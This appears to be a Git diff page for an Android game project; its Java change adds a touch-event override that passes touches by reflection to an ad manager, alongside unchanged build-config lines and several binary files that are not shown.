"outputFile": "resources-debug.ap_"
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -10,6 +10,8 @@ import android.os.CountDownTimer;
|
|||||||
import android.os.Looper;
|
import android.os.Looper;
|
||||||
import android.util.Log;
|
import android.util.Log;
|
||||||
import android.view.KeyEvent;
|
import android.view.KeyEvent;
|
||||||
|
import android.view.MotionEvent;
|
||||||
|
|
||||||
import celb.AdFilter;
|
import celb.AdFilter;
|
||||||
import celb.BackgroundMusic;
|
import celb.BackgroundMusic;
|
||||||
import celb.DuckApp;
|
import celb.DuckApp;
|
||||||
@@ -300,6 +302,15 @@ public class MyMainActivity extends SKUPlayerAcitvity {
|
|||||||
BackgroundMusic.getInstance(sInstance).pauseBackgroundMusic();
|
BackgroundMusic.getInstance(sInstance).pauseBackgroundMusic();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean dispatchTouchEvent(MotionEvent ev) {
|
||||||
|
RefInvoke.invokeMethod(AdInitCallback.adManagerInstance, "setTouchListener", ev);
|
||||||
|
return super.dispatchTouchEvent(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@Override // com.unity3d.player.UnityPlayerActivity, android.app.Activity, android.view.KeyEvent.Callback
|
@Override // com.unity3d.player.UnityPlayerActivity, android.app.Activity, android.view.KeyEvent.Callback
|
||||||
public boolean onKeyDown(int i, KeyEvent keyEvent) {
|
public boolean onKeyDown(int i, KeyEvent keyEvent) {
|
||||||
AudioManager audioManager = (AudioManager) getSystemService(MediaFormat.KEY_AUDIO);
|
AudioManager audioManager = (AudioManager) getSystemService(MediaFormat.KEY_AUDIO);
|
||||||
|
|||||||
Reference in New Issue
Block a user